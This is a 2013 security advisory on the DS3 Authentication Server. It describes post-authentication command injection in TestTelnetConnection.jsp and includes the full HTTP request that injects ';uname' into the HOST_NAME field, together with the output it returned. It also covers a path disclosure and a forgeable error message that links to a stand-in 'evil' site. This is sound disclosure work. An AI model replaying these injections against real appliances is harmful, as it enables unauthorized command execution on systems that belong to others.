205 lines
No EOL
5.5 KiB
Text
205 lines
No EOL
5.5 KiB
Text
Original: http://www.digitalsec.net/stuff/explt+advs/DS3.AuthServer.txt
|
|
|
|
|
|
|
|
===============================
|
|
- Advisory -
|
|
===============================
|
|
|
|
Tittle: DS3 Authentication Server - Command Execution (Post
|
|
Authentication) & other minor issues
|
|
Risk: High
|
|
Date: 27.May.2013
|
|
Author: Pedro Andujar
|
|
|
|
|
|
.: [ INTRO ] :.
|
|
|
|
The DS3 Authentication Server appliance is a high performance appliance that
|
|
provides multifactor authentication with end-to-end encryption of keys
|
|
protected by a
|
|
FIPS-certified Hardware Security Module (HSM).
|
|
|
|
.: [ TECHNICAL DESCRIPTION ] :.
|
|
|
|
DS3 Authentication Server (unknown version) is prone to several security
|
|
issues as described below;
|
|
|
|
|
|
.: [ ISSUE #1 }:.
|
|
|
|
Name: Command execution
|
|
Severity: High
|
|
|
|
Authentication server provides different admin tools to perform connectivity
|
|
checks. TestTelnetConnection.jsp doesn't validate the user input, allowing an
|
|
attacker to execute arbitrary commands in the server side with the privileges
|
|
of asadmin user.
|
|
|
|
POST /ServerAdmin/TestTelnetConnection.jsp HTTP/1.1
|
|
Host: x.x.x.x
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101
|
|
Firefox/19.0
|
|
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: https://x.x.x.x/ServerAdmin/TestTelnetConnection.jsp
|
|
Cookie: 70746573745f61646d696e00=English.properties;
|
|
70746573745f63696300=English.properties;
|
|
JSESSIONID=8F457BB84D7B80F49D197D92360F1F95
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 90142
|
|
|
|
HOST_NAME=-;uname&PORT_NUMBER=-a
|
|
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: text/html;charset=utf-8
|
|
Date: Fri, 05 Apr 2013 22:54:18 GMT
|
|
Server: DS3-AuthServer
|
|
Content-Length: 12648
|
|
|
|
<HTML>
|
|
<HEAD>
|
|
<TITLE>Test Telnet Connection</TITLE>
|
|
<meta http-equiv="Cache-Control" content="no-cache" />
|
|
<meta http-equiv="pragma" content="no-cache">
|
|
<SCRIPT Language="JavaScript">function doSubmit()
|
|
...[SNIP]...
|
|
<TD COLSPAN=2>
|
|
<TEXTAREA ROWS="10" COLS="80" READONLY NAME="TEST_RESULTS">Start time : Fri
|
|
Apr 05 06:57:17 SGT 2013
|
|
End time : Fri Apr 05 06:57:17 SGT 2013
|
|
Time taken (ms): 39
|
|
|
|
Attempting connection to -;uname on port -a
|
|
Linux authserver 2.6.32.22 #1 SMP Thu Sep 30 08:51:06 SGT 2010 i686
|
|
i686 i386 GNU/Linux
|
|
|
|
-/telnet: Temporary failure in name resolution
|
|
Successful connection to -;uname on port -a</textarea>
|
|
...[SNIP]...
|
|
|
|
|
|
|
|
.: [ ISSUE #2 }:.
|
|
|
|
Name: Physical Path Disclosure
|
|
Severity: Low
|
|
|
|
TestDRConnection.jsp, shows the file path in the error messages, this is
|
|
considered a minor information leak.
|
|
|
|
|
|
POST /ServerAdmin/TestDRConnection.jsp HTTP/1.1
|
|
Host: x.x.x.x
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101
|
|
Firefox/19.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: https://x.x.x.x/ServerAdmin/TestDRConnection.jsp
|
|
Cookie: 70746573745f61646d696e00=English.properties;
|
|
JSESSIONID=397BA78713A66EE6968BAAB237C6C6EF
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 264
|
|
HOST_NAME=localhost&FILE_SIZE=&PACKET_SIZE=&MTU_SIZE=
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: text/html;charset=utf-8
|
|
Content-Length: 3081
|
|
Date: Thu, 04 Apr 2013 01:34:18 GMT
|
|
Server: DS3-AuthServer
|
|
<HTML>
|
|
<HEAD>
|
|
<TITLE>Test DR Connection</TITLE>
|
|
...[SNIP]...
|
|
<TD COLSPAN=2>
|
|
<TEXTAREA ROWS="10" COLS="80" READONLY NAME="TEST_RESULTS">
|
|
FCOPY-W-NOSERV , service fcopy$server is unknown.
|
|
FCOPY-I-DEFPORT , using FASTCopy default port 5745
|
|
FCOPY-E-NETLOGIN, remote login failed on node localhost
|
|
-REG-E-OPEN, error opening registry file </home/asadmin/softlink.reg>
|
|
-SYS-E-ERRMSG, No such file or directory
|
|
-SEC-E-NOAPPLN, permission rejected at security file /etc/softlink.login,
|
|
line #9
|
|
-SEC-E-NOAPPRS, Invalid login settings in softlink.login
|
|
</textarea>
|
|
|
|
|
|
|
|
.: [ ISSUE #3 }:.
|
|
|
|
Name: User Controlable Error Message
|
|
Severity: Low
|
|
|
|
Without being authenticaticated, any user is able to manipulate the message of
|
|
the default error page, helping him to develop social engineering attacks. This
|
|
could be done as follows;
|
|
|
|
https://x.x.x.x/ServerAdmin/ErrorViewer.jsp?message=Message forged
|
|
example, please visit www.ev1lsite.com.au
|
|
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: text/html
|
|
Content-Length: 669
|
|
Date: Mon, 25 Mar 2013 05:39:50 GMT
|
|
Server: DS3-AuthServer
|
|
<HTML>
|
|
<HEAD>
|
|
<TITLE>Error Page</TITLE>
|
|
<meta http-equiv="Cache-Control" content="no-cache" />
|
|
<meta http-equiv="pragma" content="no-cache">
|
|
<link rel="stylesheet" href="/ServerAdmin/ServerAdmin.css" type="text/css"
|
|
title="ServerAdmin Style Sheet">
|
|
</HEAD>
|
|
<BODY>
|
|
<IMG src="image/oem-logo-small.jpg" border=0>
|
|
<FONT class=CommonHeader>Error Message</FONT><BR>
|
|
<IMG src="image/line.gif" border=0><BR><BR>
|
|
<TABLE class=MsgTable Height=4 Width=435>
|
|
<TR>
|
|
<TD><B>Error Message:</B></TD>
|
|
<TD>Message forged example, please visit www.ev1lsite.com.au</TD>
|
|
</TR>
|
|
</TABLE>
|
|
<BR><IMG src="image/line.gif" border=0>
|
|
</BODY>
|
|
</HTML>
|
|
|
|
|
|
|
|
.: [ CHANGELOG ] :.
|
|
|
|
* 05/Apr/2013: - Bugs found - Reported customer.
|
|
* 27/May/2013: - Send this report to the vendor as well.
|
|
* 02/Jun/2013: - Public Disclosure
|
|
|
|
|
|
.: [ SOLUTIONS ] :.
|
|
|
|
N/A
|
|
|
|
|
|
.: [ REFERENCES ] :.
|
|
|
|
[+] DS3 Data Security Systems Solutions
|
|
http://ds3global.com
|
|
|
|
[+] DS3 Authentication Server
|
|
http://ds3global.com/index.php/en/ds3-authentication-server/ds3-authentication-server
|
|
|
|
[+] Ernst & Young Advanced Security Centre - Melbourne
|
|
http://www.ey.com/security/
|
|
|
|
[+] !dSR - Digital Security Research
|
|
http://www.digitalsec.net/
|
|
|
|
|
|
|
|
|
|
|
|
-=EOF=- |